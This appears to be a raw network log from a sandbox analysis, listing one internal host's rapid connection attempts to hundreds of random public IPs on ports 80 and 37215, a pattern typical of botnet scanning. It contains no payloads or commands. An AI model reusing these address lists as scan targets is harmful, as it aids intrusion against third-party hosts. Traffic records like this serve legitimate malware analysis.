Dec 3, 2024 22:11:52.137538910 CET	6883	80	192.168.2.23	132.150.120.251
Dec 3, 2024 22:11:52.137551069 CET	6883	80	192.168.2.23	180.51.62.66
Dec 3, 2024 22:11:52.137552023 CET	6883	80	192.168.2.23	184.80.124.153
Dec 3, 2024 22:11:52.137557983 CET	6883	80	192.168.2.23	159.185.0.180
Dec 3, 2024 22:11:52.137561083 CET	6883	80	192.168.2.23	174.12.108.238
Dec 3, 2024 22:11:52.137561083 CET	6883	80	192.168.2.23	113.130.176.83
Dec 3, 2024 22:11:52.137572050 CET	6883	80	192.168.2.23	207.229.76.74
Dec 3, 2024 22:11:52.137572050 CET	6883	80	192.168.2.23	49.251.166.231
Dec 3, 2024 22:11:52.137584925 CET	6883	80	192.168.2.23	83.247.134.96
Dec 3, 2024 22:11:52.137588978 CET	6883	80	192.168.2.23	41.178.166.18
Dec 3, 2024 22:11:52.137592077 CET	6883	80	192.168.2.23	170.229.33.200
Dec 3, 2024 22:11:52.137598038 CET	6883	80	192.168.2.23	203.16.216.159
Dec 3, 2024 22:11:52.137599945 CET	6883	80	192.168.2.23	68.178.10.186
Dec 3, 2024 22:11:52.137610912 CET	6883	80	192.168.2.23	89.245.232.62
Dec 3, 2024 22:11:52.137620926 CET	6883	80	192.168.2.23	47.223.223.51
Dec 3, 2024 22:11:52.137620926 CET	6883	80	192.168.2.23	142.86.49.254
Dec 3, 2024 22:11:52.137622118 CET	6883	80	192.168.2.23	1.71.191.169
Dec 3, 2024 22:11:52.137635946 CET	6883	80	192.168.2.23	19.157.131.92
Dec 3, 2024 22:11:52.137641907 CET	6883	80	192.168.2.23	73.74.198.205
Dec 3, 2024 22:11:52.137644053 CET	6883	80	192.168.2.23	172.44.170.56
Dec 3, 2024 22:11:52.137646914 CET	6883	80	192.168.2.23	62.189.6.193
Dec 3, 2024 22:11:52.137655973 CET	6883	80	192.168.2.23	58.193.62.218
Dec 3, 2024 22:11:52.137658119 CET	6883	80	192.168.2.23	108.163.54.8
Dec 3, 2024 22:11:52.137659073 CET	6883	80	192.168.2.23	155.102.57.160
Dec 3, 2024 22:11:52.137666941 CET	6883	80	192.168.2.23	72.181.17.176
Dec 3, 2024 22:11:52.137680054 CET	6883	80	192.168.2.23	168.140.48.147
Dec 3, 2024 22:11:52.137691975 CET	6883	80	192.168.2.23	74.115.226.169
Dec 3, 2024 22:11:52.137693882 CET	6883	80	192.168.2.23	146.169.187.247
Dec 3, 2024 22:11:52.137698889 CET	6883	80	192.168.2.23	194.12.211.248
Dec 3, 2024 22:11:52.137698889 CET	6883	80	192.168.2.23	210.61.185.251
Dec 3, 2024 22:11:52.137702942 CET	6883	80	192.168.2.23	139.17.146.165
Dec 3, 2024 22:11:52.137710094 CET	6883	80	192.168.2.23	157.137.146.90
Dec 3, 2024 22:11:52.137716055 CET	6883	80	192.168.2.23	52.58.11.46
Dec 3, 2024 22:11:52.137722969 CET	6883	80	192.168.2.23	67.79.83.40
Dec 3, 2024 22:11:52.137727976 CET	6883	80	192.168.2.23	43.71.113.131
Dec 3, 2024 22:11:52.137729883 CET	6883	80	192.168.2.23	164.236.112.68
Dec 3, 2024 22:11:52.137731075 CET	6883	80	192.168.2.23	115.26.156.71
Dec 3, 2024 22:11:52.137731075 CET	6883	80	192.168.2.23	179.39.32.93
Dec 3, 2024 22:11:52.137732029 CET	6883	80	192.168.2.23	122.28.23.99
Dec 3, 2024 22:11:52.137737036 CET	6883	80	192.168.2.23	27.48.190.40
Dec 3, 2024 22:11:52.137746096 CET	6883	80	192.168.2.23	195.10.17.43
Dec 3, 2024 22:11:52.137753010 CET	6883	80	192.168.2.23	31.24.168.120
Dec 3, 2024 22:11:52.137758970 CET	6883	80	192.168.2.23	43.180.241.105
Dec 3, 2024 22:11:52.137763977 CET	6883	80	192.168.2.23	44.132.27.189
Dec 3, 2024 22:11:52.137763977 CET	6883	80	192.168.2.23	104.188.150.164
Dec 3, 2024 22:11:52.137764931 CET	6883	80	192.168.2.23	172.212.56.229
Dec 3, 2024 22:11:52.137773991 CET	6883	80	192.168.2.23	143.197.251.170
Dec 3, 2024 22:11:52.137787104 CET	6883	80	192.168.2.23	95.132.214.39
Dec 3, 2024 22:11:52.137797117 CET	6883	80	192.168.2.23	71.64.55.83
Dec 3, 2024 22:11:52.137798071 CET	6883	80	192.168.2.23	194.191.160.128
Dec 3, 2024 22:11:52.137798071 CET	6883	80	192.168.2.23	79.102.102.2
Dec 3, 2024 22:11:52.137799978 CET	6883	80	192.168.2.23	201.83.92.142
Dec 3, 2024 22:11:52.137799978 CET	6883	80	192.168.2.23	98.158.40.232
Dec 3, 2024 22:11:52.137806892 CET	6883	80	192.168.2.23	140.184.77.133
Dec 3, 2024 22:11:52.137824059 CET	6883	80	192.168.2.23	166.32.220.42
Dec 3, 2024 22:11:52.137826920 CET	6883	80	192.168.2.23	61.214.242.152
Dec 3, 2024 22:11:52.137826920 CET	6883	80	192.168.2.23	171.254.76.69
Dec 3, 2024 22:11:52.137824059 CET	6883	80	192.168.2.23	143.200.158.91
Dec 3, 2024 22:11:52.137828112 CET	6883	80	192.168.2.23	99.22.132.249
Dec 3, 2024 22:11:52.137830019 CET	6883	80	192.168.2.23	130.243.133.150
Dec 3, 2024 22:11:52.137842894 CET	6883	80	192.168.2.23	61.87.57.241
Dec 3, 2024 22:11:52.137842894 CET	6883	80	192.168.2.23	183.110.163.152
Dec 3, 2024 22:11:52.137857914 CET	6883	80	192.168.2.23	95.114.162.233
Dec 3, 2024 22:11:52.137859106 CET	6883	80	192.168.2.23	2.71.71.27
Dec 3, 2024 22:11:52.137868881 CET	6883	80	192.168.2.23	213.117.157.158
Dec 3, 2024 22:11:52.137872934 CET	80	36674	112.17.46.206	192.168.2.23
Dec 3, 2024 22:11:52.137876987 CET	6883	80	192.168.2.23	79.123.212.114
Dec 3, 2024 22:11:52.137876987 CET	6883	80	192.168.2.23	194.83.76.190
Dec 3, 2024 22:11:52.137882948 CET	6883	80	192.168.2.23	53.12.181.114
Dec 3, 2024 22:11:52.137882948 CET	6883	80	192.168.2.23	180.92.54.153
Dec 3, 2024 22:11:52.137891054 CET	6883	80	192.168.2.23	13.37.110.59
Dec 3, 2024 22:11:52.137892008 CET	6883	80	192.168.2.23	97.112.118.227
Dec 3, 2024 22:11:52.137902975 CET	6883	80	192.168.2.23	201.179.177.240
Dec 3, 2024 22:11:52.137917042 CET	6883	80	192.168.2.23	138.247.43.100
Dec 3, 2024 22:11:52.137917042 CET	36674	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:52.137919903 CET	6883	80	192.168.2.23	218.24.58.247
Dec 3, 2024 22:11:52.137926102 CET	6883	80	192.168.2.23	152.213.150.124
Dec 3, 2024 22:11:52.137924910 CET	6883	80	192.168.2.23	169.207.18.130
Dec 3, 2024 22:11:52.137933969 CET	6883	80	192.168.2.23	156.11.12.208
Dec 3, 2024 22:11:52.137934923 CET	6883	80	192.168.2.23	113.151.233.233
Dec 3, 2024 22:11:52.137936115 CET	6883	80	192.168.2.23	200.119.23.38
Dec 3, 2024 22:11:52.137945890 CET	6883	80	192.168.2.23	177.68.61.224
Dec 3, 2024 22:11:52.137947083 CET	6883	80	192.168.2.23	4.44.67.147
Dec 3, 2024 22:11:52.137958050 CET	6883	80	192.168.2.23	172.166.114.69
Dec 3, 2024 22:11:52.137958050 CET	6883	80	192.168.2.23	97.182.167.112
Dec 3, 2024 22:11:52.137964964 CET	6883	80	192.168.2.23	59.20.197.236
Dec 3, 2024 22:11:52.137978077 CET	6883	80	192.168.2.23	220.86.45.47
Dec 3, 2024 22:11:52.137985945 CET	6883	80	192.168.2.23	183.101.225.67
Dec 3, 2024 22:11:52.137985945 CET	6883	80	192.168.2.23	213.15.173.2
Dec 3, 2024 22:11:52.137986898 CET	6883	80	192.168.2.23	174.62.12.195
Dec 3, 2024 22:11:52.137988091 CET	6883	80	192.168.2.23	200.17.83.227
Dec 3, 2024 22:11:52.137988091 CET	6883	80	192.168.2.23	94.114.82.130
Dec 3, 2024 22:11:52.138005972 CET	6883	80	192.168.2.23	160.58.118.110
Dec 3, 2024 22:11:52.138006926 CET	6883	80	192.168.2.23	4.26.153.28
Dec 3, 2024 22:11:52.138008118 CET	6883	80	192.168.2.23	117.131.147.54
Dec 3, 2024 22:11:52.138010025 CET	6883	80	192.168.2.23	205.146.134.146
Dec 3, 2024 22:11:52.138024092 CET	6883	80	192.168.2.23	133.29.39.189
Dec 3, 2024 22:11:52.138024092 CET	6883	80	192.168.2.23	182.239.32.72
Dec 3, 2024 22:11:52.138024092 CET	6883	80	192.168.2.23	41.11.32.98
Dec 3, 2024 22:11:52.138035059 CET	6883	80	192.168.2.23	49.211.201.89
Dec 3, 2024 22:11:52.138039112 CET	6883	80	192.168.2.23	43.36.251.72
Dec 3, 2024 22:11:52.138046980 CET	6883	80	192.168.2.23	84.186.110.186
Dec 3, 2024 22:11:52.138057947 CET	6883	80	192.168.2.23	27.25.169.46
Dec 3, 2024 22:11:52.138071060 CET	6883	80	192.168.2.23	175.210.55.1
Dec 3, 2024 22:11:52.138072014 CET	6883	80	192.168.2.23	80.138.140.226
Dec 3, 2024 22:11:52.138077974 CET	6883	80	192.168.2.23	169.62.126.176
Dec 3, 2024 22:11:52.138081074 CET	6883	80	192.168.2.23	132.159.41.231
Dec 3, 2024 22:11:52.138082027 CET	6883	80	192.168.2.23	203.89.165.188
Dec 3, 2024 22:11:52.138089895 CET	6883	80	192.168.2.23	181.28.177.234
Dec 3, 2024 22:11:52.138091087 CET	6883	80	192.168.2.23	179.167.126.252
Dec 3, 2024 22:11:52.138103962 CET	6883	80	192.168.2.23	150.138.13.173
Dec 3, 2024 22:11:52.138107061 CET	6883	80	192.168.2.23	216.181.116.149
Dec 3, 2024 22:11:52.138124943 CET	6883	80	192.168.2.23	57.29.106.9
Dec 3, 2024 22:11:52.138128996 CET	6883	80	192.168.2.23	37.209.35.173
Dec 3, 2024 22:11:52.138128996 CET	6883	80	192.168.2.23	82.119.75.43
Dec 3, 2024 22:11:52.138135910 CET	6883	80	192.168.2.23	190.195.58.64
Dec 3, 2024 22:11:52.138137102 CET	6883	80	192.168.2.23	38.220.49.123
Dec 3, 2024 22:11:52.138148069 CET	6883	80	192.168.2.23	89.223.177.58
Dec 3, 2024 22:11:52.138154984 CET	6883	80	192.168.2.23	38.178.219.153
Dec 3, 2024 22:11:52.138158083 CET	6883	80	192.168.2.23	57.254.246.66
Dec 3, 2024 22:11:52.138171911 CET	6883	80	192.168.2.23	58.81.13.11
Dec 3, 2024 22:11:52.138173103 CET	6883	80	192.168.2.23	151.105.115.69
Dec 3, 2024 22:11:52.138179064 CET	6883	80	192.168.2.23	179.83.163.111
Dec 3, 2024 22:11:52.138183117 CET	6883	80	192.168.2.23	108.188.149.93
Dec 3, 2024 22:11:52.138195038 CET	6883	80	192.168.2.23	190.231.93.53
Dec 3, 2024 22:11:52.138200045 CET	6883	80	192.168.2.23	182.212.34.83
Dec 3, 2024 22:11:52.138204098 CET	6883	80	192.168.2.23	113.40.82.53
Dec 3, 2024 22:11:52.138206005 CET	6883	80	192.168.2.23	150.45.9.111
Dec 3, 2024 22:11:52.138221025 CET	6883	80	192.168.2.23	201.237.167.27
Dec 3, 2024 22:11:52.138232946 CET	6883	80	192.168.2.23	162.26.232.102
Dec 3, 2024 22:11:52.138233900 CET	6883	80	192.168.2.23	77.77.238.82
Dec 3, 2024 22:11:52.138233900 CET	6883	80	192.168.2.23	138.130.86.251
Dec 3, 2024 22:11:52.138247967 CET	6883	80	192.168.2.23	221.60.58.219
Dec 3, 2024 22:11:52.138253927 CET	6883	80	192.168.2.23	161.69.22.32
Dec 3, 2024 22:11:52.138256073 CET	6883	80	192.168.2.23	62.174.172.241
Dec 3, 2024 22:11:52.138257027 CET	6883	80	192.168.2.23	48.41.46.3
Dec 3, 2024 22:11:52.138266087 CET	6883	80	192.168.2.23	23.88.168.81
Dec 3, 2024 22:11:52.138267040 CET	6883	80	192.168.2.23	170.84.221.3
Dec 3, 2024 22:11:52.138282061 CET	6883	80	192.168.2.23	87.130.193.155
Dec 3, 2024 22:11:52.138299942 CET	6883	80	192.168.2.23	208.189.209.236
Dec 3, 2024 22:11:52.138300896 CET	6883	80	192.168.2.23	204.143.59.105
Dec 3, 2024 22:11:52.138302088 CET	6883	80	192.168.2.23	220.94.70.92
Dec 3, 2024 22:11:52.138300896 CET	6883	80	192.168.2.23	112.53.142.108
Dec 3, 2024 22:11:52.138303995 CET	6883	80	192.168.2.23	200.112.27.167
Dec 3, 2024 22:11:52.138303995 CET	6883	80	192.168.2.23	199.186.33.172
Dec 3, 2024 22:11:52.138315916 CET	6883	80	192.168.2.23	156.231.97.105
Dec 3, 2024 22:11:52.138323069 CET	6883	80	192.168.2.23	134.15.148.144
Dec 3, 2024 22:11:52.138324976 CET	6883	80	192.168.2.23	135.176.50.142
Dec 3, 2024 22:11:52.138339043 CET	6883	80	192.168.2.23	58.229.85.130
Dec 3, 2024 22:11:52.138350010 CET	6883	80	192.168.2.23	39.239.219.186
Dec 3, 2024 22:11:52.138355017 CET	6883	80	192.168.2.23	34.31.48.244
Dec 3, 2024 22:11:52.138359070 CET	6883	80	192.168.2.23	207.217.240.62
Dec 3, 2024 22:11:52.138359070 CET	6883	80	192.168.2.23	70.93.170.194
Dec 3, 2024 22:11:52.138371944 CET	6883	80	192.168.2.23	174.187.70.76
Dec 3, 2024 22:11:52.138374090 CET	6883	80	192.168.2.23	44.54.36.142
Dec 3, 2024 22:11:52.138376951 CET	6883	80	192.168.2.23	200.159.139.52
Dec 3, 2024 22:11:52.138381004 CET	6883	80	192.168.2.23	37.198.103.174
Dec 3, 2024 22:11:52.138387918 CET	6883	80	192.168.2.23	158.237.107.191
Dec 3, 2024 22:11:52.138398886 CET	6883	80	192.168.2.23	183.155.50.198
Dec 3, 2024 22:11:52.138403893 CET	6883	80	192.168.2.23	137.117.45.67
Dec 3, 2024 22:11:52.138411999 CET	6883	80	192.168.2.23	111.39.222.230
Dec 3, 2024 22:11:52.138425112 CET	6883	80	192.168.2.23	49.21.71.130
Dec 3, 2024 22:11:52.138433933 CET	6883	80	192.168.2.23	119.116.120.231
Dec 3, 2024 22:11:52.138443947 CET	6883	80	192.168.2.23	133.104.25.231
Dec 3, 2024 22:11:52.138447046 CET	6883	80	192.168.2.23	101.93.76.101
Dec 3, 2024 22:11:52.138447046 CET	6883	80	192.168.2.23	87.119.150.62
Dec 3, 2024 22:11:52.138447046 CET	6883	80	192.168.2.23	114.158.176.110
Dec 3, 2024 22:11:52.138458967 CET	6883	80	192.168.2.23	63.35.31.109
Dec 3, 2024 22:11:52.138459921 CET	6883	80	192.168.2.23	47.16.174.251
Dec 3, 2024 22:11:52.138469934 CET	6883	80	192.168.2.23	65.45.193.218
Dec 3, 2024 22:11:52.138469934 CET	6883	80	192.168.2.23	72.99.36.122
Dec 3, 2024 22:11:52.138483047 CET	6883	80	192.168.2.23	117.182.66.211
Dec 3, 2024 22:11:52.138489962 CET	6883	80	192.168.2.23	105.126.211.209
Dec 3, 2024 22:11:52.138489962 CET	6883	80	192.168.2.23	185.249.207.198
Dec 3, 2024 22:11:52.138501883 CET	6883	80	192.168.2.23	65.28.170.167
Dec 3, 2024 22:11:52.138510942 CET	6883	80	192.168.2.23	107.7.159.222
Dec 3, 2024 22:11:52.138510942 CET	6883	80	192.168.2.23	13.28.176.196
Dec 3, 2024 22:11:52.138521910 CET	6883	80	192.168.2.23	168.149.240.188
Dec 3, 2024 22:11:52.138530016 CET	6883	80	192.168.2.23	207.175.231.237
Dec 3, 2024 22:11:52.138540030 CET	6883	80	192.168.2.23	156.75.82.72
Dec 3, 2024 22:11:52.138550997 CET	6883	80	192.168.2.23	131.64.65.69
Dec 3, 2024 22:11:52.138550997 CET	6883	80	192.168.2.23	162.126.63.132
Dec 3, 2024 22:11:52.138556957 CET	6883	80	192.168.2.23	195.81.164.184
Dec 3, 2024 22:11:52.138564110 CET	6883	80	192.168.2.23	115.29.111.20
Dec 3, 2024 22:11:52.138576984 CET	6883	80	192.168.2.23	74.145.20.37
Dec 3, 2024 22:11:52.138576984 CET	6883	80	192.168.2.23	136.241.125.49
Dec 3, 2024 22:11:52.138587952 CET	6883	80	192.168.2.23	153.130.83.156
Dec 3, 2024 22:11:52.138587952 CET	6883	80	192.168.2.23	129.50.250.231
Dec 3, 2024 22:11:52.138602972 CET	6883	80	192.168.2.23	152.36.107.77
Dec 3, 2024 22:11:52.138607025 CET	6883	80	192.168.2.23	138.211.33.185
Dec 3, 2024 22:11:52.138622999 CET	6883	80	192.168.2.23	87.56.0.116
Dec 3, 2024 22:11:52.138622999 CET	6883	80	192.168.2.23	2.212.12.138
Dec 3, 2024 22:11:52.138623953 CET	6883	80	192.168.2.23	49.110.80.103
Dec 3, 2024 22:11:52.138623953 CET	6883	80	192.168.2.23	79.142.181.143
Dec 3, 2024 22:11:52.138623953 CET	6883	80	192.168.2.23	71.224.197.67
Dec 3, 2024 22:11:52.138623953 CET	6883	80	192.168.2.23	156.230.5.253
Dec 3, 2024 22:11:52.138623953 CET	6883	80	192.168.2.23	72.137.36.64
Dec 3, 2024 22:11:52.138632059 CET	6883	80	192.168.2.23	89.99.179.68
Dec 3, 2024 22:11:52.138638020 CET	6883	80	192.168.2.23	200.187.57.171
Dec 3, 2024 22:11:52.138642073 CET	6883	80	192.168.2.23	135.163.30.154
Dec 3, 2024 22:11:52.138643026 CET	6883	80	192.168.2.23	153.126.253.152
Dec 3, 2024 22:11:52.138673067 CET	6883	80	192.168.2.23	174.170.12.19
Dec 3, 2024 22:11:52.138673067 CET	6883	80	192.168.2.23	48.168.182.247
Dec 3, 2024 22:11:52.138673067 CET	6883	80	192.168.2.23	103.29.234.147
Dec 3, 2024 22:11:52.138673067 CET	6883	80	192.168.2.23	158.214.70.153
Dec 3, 2024 22:11:52.138674021 CET	6883	80	192.168.2.23	43.205.242.246
Dec 3, 2024 22:11:52.138674974 CET	6883	80	192.168.2.23	98.244.102.136
Dec 3, 2024 22:11:52.138674021 CET	6883	80	192.168.2.23	193.219.59.117
Dec 3, 2024 22:11:52.138683081 CET	6883	80	192.168.2.23	185.243.177.132
Dec 3, 2024 22:11:52.138688087 CET	6883	80	192.168.2.23	64.161.231.131
Dec 3, 2024 22:11:52.138688087 CET	6883	80	192.168.2.23	119.129.44.241
Dec 3, 2024 22:11:52.138689041 CET	6883	80	192.168.2.23	161.66.124.228
Dec 3, 2024 22:11:52.138691902 CET	6883	80	192.168.2.23	158.137.151.194
Dec 3, 2024 22:11:52.138698101 CET	6883	80	192.168.2.23	17.254.184.24
Dec 3, 2024 22:11:52.138700962 CET	6883	80	192.168.2.23	217.173.80.130
Dec 3, 2024 22:11:52.138700962 CET	6883	80	192.168.2.23	176.40.241.36
Dec 3, 2024 22:11:52.138700962 CET	6883	80	192.168.2.23	149.58.170.108
Dec 3, 2024 22:11:52.138703108 CET	6883	80	192.168.2.23	40.119.100.77
Dec 3, 2024 22:11:52.138703108 CET	6883	80	192.168.2.23	66.238.11.35
Dec 3, 2024 22:11:52.138703108 CET	6883	80	192.168.2.23	150.222.43.209
Dec 3, 2024 22:11:52.138704062 CET	6883	80	192.168.2.23	184.21.188.78
Dec 3, 2024 22:11:52.138710976 CET	6883	80	192.168.2.23	95.37.17.122
Dec 3, 2024 22:11:52.138715982 CET	6883	80	192.168.2.23	161.254.151.14
Dec 3, 2024 22:11:52.138717890 CET	6883	80	192.168.2.23	52.208.253.190
Dec 3, 2024 22:11:52.138740063 CET	6883	80	192.168.2.23	96.63.183.241
Dec 3, 2024 22:11:52.138746023 CET	6883	80	192.168.2.23	152.79.115.196
Dec 3, 2024 22:11:52.138753891 CET	6883	80	192.168.2.23	217.137.135.71
Dec 3, 2024 22:11:52.138763905 CET	6883	80	192.168.2.23	161.103.169.226
Dec 3, 2024 22:11:52.138777971 CET	6883	80	192.168.2.23	176.208.123.172
Dec 3, 2024 22:11:52.138880014 CET	34546	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:52.138880968 CET	59370	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:52.138881922 CET	34518	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:52.138904095 CET	44292	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:52.138904095 CET	51898	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:52.138904095 CET	36338	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:52.138922930 CET	53426	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:52.138922930 CET	36674	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:52.138956070 CET	40004	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.138956070 CET	40004	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.139509916 CET	40158	80	192.168.2.23	98.103.8.79
Dec 3, 2024 22:11:52.139902115 CET	38518	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:52.139911890 CET	38518	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:52.140222073 CET	38670	80	192.168.2.23	205.91.17.173
Dec 3, 2024 22:11:52.140613079 CET	45478	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:52.140613079 CET	45478	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:52.140949965 CET	45630	80	192.168.2.23	112.94.207.133
Dec 3, 2024 22:11:52.141350031 CET	34368	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:52.141350031 CET	34368	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:52.141644955 CET	34564	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:52.142040014 CET	33462	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:52.142040014 CET	33462	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:52.142355919 CET	33658	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:52.142738104 CET	42414	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:52.142740965 CET	45294	80	192.168.2.23	129.161.63.20
Dec 3, 2024 22:11:52.142760038 CET	48038	80	192.168.2.23	104.201.153.104
Dec 3, 2024 22:11:52.142757893 CET	33058	80	192.168.2.23	168.46.253.58
Dec 3, 2024 22:11:52.142766953 CET	52082	80	192.168.2.23	128.238.186.37
Dec 3, 2024 22:11:52.142793894 CET	37986	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:52.142793894 CET	37986	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:52.143141985 CET	38182	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:52.143560886 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:52.143560886 CET	38726	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:52.143862963 CET	38922	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:52.144260883 CET	60986	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:52.144260883 CET	60986	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:52.144557953 CET	32950	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:52.144944906 CET	45088	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:52.144944906 CET	45088	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:52.145260096 CET	45284	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:52.145673990 CET	37528	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:52.145673990 CET	37528	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:52.145967960 CET	37724	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:52.146337986 CET	58750	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:52.146352053 CET	58750	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:52.146677017 CET	58946	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:52.147057056 CET	38094	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:52.147057056 CET	38094	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:52.147370100 CET	38290	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:52.147747040 CET	45776	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:52.147747040 CET	45776	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:52.148061991 CET	45970	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:52.148442030 CET	39860	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:52.148442030 CET	39860	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:52.148746967 CET	40054	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:52.149138927 CET	58042	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:52.149138927 CET	58042	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:52.149456024 CET	58236	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:52.149827003 CET	42658	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:52.149827003 CET	42658	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:52.150131941 CET	42852	80	192.168.2.23	72.98.186.118
Dec 3, 2024 22:11:52.150527954 CET	36618	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:52.150527954 CET	36618	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:52.150846004 CET	36812	80	192.168.2.23	159.47.73.163
Dec 3, 2024 22:11:52.151221037 CET	39504	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.151221037 CET	39504	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.151526928 CET	39698	80	192.168.2.23	35.37.81.75
Dec 3, 2024 22:11:52.151906967 CET	60942	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:52.151906967 CET	60942	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:52.152208090 CET	32904	80	192.168.2.23	132.243.143.161
Dec 3, 2024 22:11:52.152610064 CET	57902	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:52.152610064 CET	57902	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:52.153026104 CET	58096	80	192.168.2.23	190.176.20.128
Dec 3, 2024 22:11:52.153551102 CET	45656	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:52.153551102 CET	45656	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:52.153852940 CET	45848	80	192.168.2.23	140.76.241.6
Dec 3, 2024 22:11:52.154222965 CET	40970	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:52.154222965 CET	40970	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:52.154529095 CET	41156	80	192.168.2.23	134.42.74.112
Dec 3, 2024 22:11:52.167470932 CET	80	56590	91.179.4.197	192.168.2.23
Dec 3, 2024 22:11:52.167507887 CET	37215	42524	156.239.228.206	192.168.2.23
Dec 3, 2024 22:11:52.167541981 CET	56590	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:52.167560101 CET	56590	80	192.168.2.23	91.179.4.197
Dec 3, 2024 22:11:52.167607069 CET	42524	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:52.167644024 CET	42524	37215	192.168.2.23	156.239.228.206
Dec 3, 2024 22:11:52.167644978 CET	80	48372	113.202.243.27	192.168.2.23
Dec 3, 2024 22:11:52.167654991 CET	80	49466	52.233.176.82	192.168.2.23
Dec 3, 2024 22:11:52.167664051 CET	80	55886	101.242.71.7	192.168.2.23
Dec 3, 2024 22:11:52.167692900 CET	48372	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:52.167694092 CET	49466	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:52.167699099 CET	80	56114	182.114.118.150	192.168.2.23
Dec 3, 2024 22:11:52.167709112 CET	80	58022	68.131.78.173	192.168.2.23
Dec 3, 2024 22:11:52.167711020 CET	55886	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:52.167711020 CET	5603	37215	192.168.2.23	197.130.92.199
Dec 3, 2024 22:11:52.167716980 CET	49466	80	192.168.2.23	52.233.176.82
Dec 3, 2024 22:11:52.167716980 CET	5603	37215	192.168.2.23	156.177.228.138
Dec 3, 2024 22:11:52.167723894 CET	5603	37215	192.168.2.23	156.21.17.158
Dec 3, 2024 22:11:52.167732000 CET	5603	37215	192.168.2.23	156.92.127.100
Dec 3, 2024 22:11:52.167742014 CET	55886	80	192.168.2.23	101.242.71.7
Dec 3, 2024 22:11:52.167742014 CET	56114	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:52.167742014 CET	58022	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:52.167746067 CET	48372	80	192.168.2.23	113.202.243.27
Dec 3, 2024 22:11:52.167751074 CET	5603	37215	192.168.2.23	41.78.4.53
Dec 3, 2024 22:11:52.167753935 CET	58022	80	192.168.2.23	68.131.78.173
Dec 3, 2024 22:11:52.167753935 CET	5603	37215	192.168.2.23	156.118.208.168
Dec 3, 2024 22:11:52.167759895 CET	56114	80	192.168.2.23	182.114.118.150
Dec 3, 2024 22:11:52.167768002 CET	80	51792	57.234.210.229	192.168.2.23
Dec 3, 2024 22:11:52.167777061 CET	5603	37215	192.168.2.23	197.13.23.243
Dec 3, 2024 22:11:52.167776108 CET	5603	37215	192.168.2.23	156.188.133.55
Dec 3, 2024 22:11:52.167779922 CET	5603	37215	192.168.2.23	41.67.148.16
Dec 3, 2024 22:11:52.167779922 CET	5603	37215	192.168.2.23	41.13.214.34
